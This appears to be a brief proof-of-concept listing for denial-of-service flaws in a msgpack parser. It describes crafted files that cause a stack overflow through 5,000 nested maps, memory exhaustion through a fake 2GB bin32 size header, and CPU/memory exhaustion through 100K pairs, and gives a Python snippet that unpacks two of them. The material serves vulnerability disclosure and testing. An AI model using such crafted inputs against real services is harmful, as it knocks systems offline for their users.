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poc_deep_nest.msgpack — 5,000 levels of nested maps, causes stack overflow on unpackpoc_oom_bomb.msgpack — 21 bytes, bin32 header claiming ~2GB allocationpoc_huge_map.msgpack — 100K key-value pairs, causes CPU/memory exhaustionbenign.msgpack — Clean file for comparison1import msgpack
2# Stack overflow from deep nesting:
3with open('poc_deep_nest.msgpack', 'rb') as f:
4 msgpack.unpackb(f.read()) # RecursionError / crash
5
6# OOM from fake size header:
7with open('poc_oom_bomb.msgpack', 'rb') as f:
8 msgpack.unpackb(f.read()) # Attempts ~2GB allocation